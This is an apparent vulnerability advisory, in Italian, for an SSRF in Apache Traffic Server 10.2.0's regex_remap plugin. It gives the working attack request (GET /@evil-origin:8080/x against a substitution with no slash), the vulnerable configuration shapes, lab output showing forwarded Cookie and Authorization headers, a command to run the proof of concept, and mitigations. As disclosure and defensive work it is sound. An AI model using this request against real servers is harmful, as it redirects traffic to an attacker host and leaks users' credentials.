
Apache Traffic Server 10.2.0 - Alta - Remoto - SSRF - regex_remap noslash $n userinfo origin takeover
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Classe: SSRF Portata: Remota
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
La sostituzione $n di regex_remap viene concatenata in una stringa e passata a TSUrlParse, che esegue url_clear e poi la analizza come URL completo. Una cattura che inizia con @ è userinfo secondo RFC 3986, quindi l'origine dell'operatore diventa userinfo e l'host dell'attaccante diventa l'origine. Cookie e Authorization vengono inoltrati come uid di ATS.
Il residuo è http://origin:port$1 (senza slash). La forma documentata http://origin/$1 resta sull'origine dell'operatore perché lo slash termina l'authority. Il plugin non è caricato per impostazione predefinita.
Questa non è CVE-2026-58179 (VLA url_len, ora LocalBuffer) e non è CVE-2026-22068 (regex_map del core è completamente ancorato).
| ID | nessuna CVE al momento |
| Classe | SSRF |
| Portata | Remota (HTTP non autenticato) |
| CWE | CWE-918 |
| CVSS | Alto: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Prodotto | Apache Traffic Server |
| Affetto | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so $n senza slash |
| Auth | nessuna. Plugin caricato. Sostituzione http://origin:port$1. |
| Licenza | GNU Affero GPL v3.0 |
| Lab | solo 127.0.0.1:18730. Immagine ats-10.2.0-lab:local. |
Ho fissato il tag 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6. Immagine compilata dai sorgenti.
HTTP non autenticato verso un vhost il cui remap carica regex_remap.so con $n immediatamente dopo host:port, senza slash.
| Metodo | Sink | Privilegio |
|---|---|---|
GET /@evil-origin:8080/x con sostituzione http://good-origin:8080$1 | TSUrlParse dopo url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Integrità / SSRF (dimostrato in lab): ATS contatta evil-origin:8080 come origine (userinfo=good-origin:8080). Cookie e Authorization inoltrati. |
| Idem | corpo dell'origine dell'attaccante | Ricognizione (dimostrato in lab): ATS-REGEX-REMAP-USERINFO-WITNESS restituito al client. cookie-fwd=True authorization-fwd=True. |
Sostituzione documentata http://good-origin:8080/$1 | l'authority termina a / | Chiuso (dimostrato in lab): è rimasto su good-origin. |
Sostituzione http://$1 | l'operatore ha inserito $n nell'authority | SSRF (dimostrato in lab): ha raggiunto anch'esso evil-origin. Errore diverso dell'operatore. |
Dimostrato in lab vs dedotto: residuo senza slash, la forma documentata con slash resta, dollar-at / dollar-host anch'essi verso evil, Cookie e Authorization inoltrati, controllo /ok su good-origin: lab. Ciò che l'origine dell'attaccante può fare con quegli header è ciò che quell'host già è.
Richiede: plugin regex_remap. Map con sostituzione http://origin:port$1 (senza slash). remap_required è rimasto 1 (non è un open relay).
| Superficie | Lab |
|---|---|
Forma documentata http://origin/$1 | slash=good |
Host di regex_map del core | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 chiusa) |
| Stack url_len | LocalBuffer (CVE-2026-58179 chiusa) |
Open relay con remap_required: 0 | non usato |
GET di CONTROLLO /ok | good-origin, nessun witness |
regex_remap costruisce una stringa dest da $n e chiama TSUrlParse sull'intera cosa. URL.cc @ è userinfo. Concatena http://good-origin:8080 + @evil-origin:8080/x e il parser fa esattamente ciò che dice RFC 3986.
Ho provato prima la forma documentata. http://good-origin:8080/$1 con path /@evil-origin:8080/x diventa http://good-origin:8080/@evil-origin:8080/x. Lo slash termina l'authority. Si resta su good-origin. Non è quello il residuo.
Poi http://good-origin:8080$1 (senza slash). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Witness sull'origin evil. Cookie e Authorization sono arrivati insieme.
Strade sbagliate: archiviare la forma documentata con slash; considerare core regex_map come questo plugin; gonfiare url_len VLA (patchato); considerare http://$1 come l'unico residuo (è un secondo errore dell'operatore, non quello noslash).
Teatro: una reverse shell. L'oracolo è un body di origin più Cookie / Authorization inoltrati.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
o
cd lab
./run.sh
Loopback 127.0.0.1:18730 (l'origine evil è pubblicata anche su 18731). Progetto Compose ats-regex-remap-userinfo. Immagine ats-10.2.0-lab:local. Tre vhost: slash / noslash / dollar. Witness ATS-REGEX-REMAP-USERINFO-WITNESS. Ultima riga:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
Non concatenare $n nell'authority. Mantieni una barra tra host e capture, oppure analizza la subst come solo path. Rifiuta un dest il cui host non è l'origine dell'operatore. Rimuovi userinfo dagli URL costruiti dal plugin. La documentazione dovrebbe smettere di implicare che http://origin/$1 sia l'unica forma che gli operatori scrivono.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse dopo substURL.cc @ userinfoInkAPI.cc TSUrlParse